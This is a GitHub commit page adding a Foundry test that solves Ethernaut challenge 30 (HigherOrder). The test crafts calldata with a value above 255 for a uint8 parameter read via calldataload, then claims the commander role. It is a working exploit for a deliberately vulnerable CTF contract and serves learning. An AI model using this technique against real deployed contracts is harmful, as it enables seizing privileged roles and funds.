-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat: ethernaut challenge 30 solution
- Loading branch information
Showing
3 changed files
with
76 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
// SPDX-License-Identifier: GPL-3.0 | ||
pragma solidity ^0.8.0; | ||
|
||
import '@forge-std/Test.sol'; | ||
import '@forge-std/console2.sol'; | ||
|
||
contract HigherOrderExploit is Test { | ||
address deployer = makeAddr('deployer'); | ||
address exploiter = makeAddr('exploiter'); | ||
|
||
function setUp() public {} | ||
|
||
function testExploit() public { | ||
// The HigherOrder contract requires solidity version ^0.6.0 but forge-std only supports >0.6.2. | ||
// Here is a dirty hack to deploy the contract with a greater solidity version. | ||
// Note: it should run in the same function as the exploit, not in the `setUp` function. | ||
vm.startPrank(deployer); | ||
bytes memory bytecode = abi.encodePacked( | ||
vm.getCode('./out/HigherOrder.sol/HigherOrder.json') | ||
); | ||
address targetAddress; | ||
assembly { | ||
targetAddress := create(0, add(bytecode, 0x20), mload(bytecode)) | ||
} | ||
console2.log('Target contract deployed'); | ||
vm.stopPrank(); | ||
|
||
// Check that the commander role has not been taken. | ||
(bool success, bytes memory returnData) = targetAddress.call( | ||
abi.encodeWithSignature('commander()') | ||
); | ||
require(success, 'Call failed'); | ||
address commander; | ||
if (returnData.length > 0) { | ||
commander = abi.decode(returnData, (address)); | ||
} | ||
assertEq(commander, address(0x0)); | ||
console2.log('Current commander: %s', commander); | ||
|
||
// In the `registryTreasury` method of the HigherOrder contract, the uint8 argument is read from | ||
// the calldata using `calldataload(4)`. This is a vulnerability because it will read 32 bytes | ||
// which can overflow the type uint8, which can represented simply by one byte. | ||
// The exploits consists of a maliciously crafted calldata that includes the selector | ||
// function and a value, higher than 255. | ||
bytes4 registerTreasurySelector = bytes4( | ||
keccak256('registerTreasury(uint8)') | ||
); | ||
bytes memory callData = abi.encodePacked( | ||
registerTreasurySelector, // function selector | ||
uint256(0x100) // 32 bytes - the value 256 | ||
); | ||
console.log('The exploiter crafts a malicious calldata'); | ||
console.logBytes(callData); | ||
(success, ) = targetAddress.call(callData); | ||
require(success, 'Call failed'); | ||
|
||
vm.startPrank(exploiter); | ||
(success, ) = targetAddress.call( | ||
abi.encodeWithSignature('claimLeadership()') | ||
); | ||
|
||
vm.stopPrank(); | ||
|
||
(success, returnData) = targetAddress.call( | ||
abi.encodeWithSignature('commander()') | ||
); | ||
require(success, 'Call failed'); | ||
if (returnData.length > 0) { | ||
commander = abi.decode(returnData, (address)); | ||
} | ||
assertEq(commander, exploiter); | ||
console2.log('New commander: %s', commander); | ||
} | ||
} |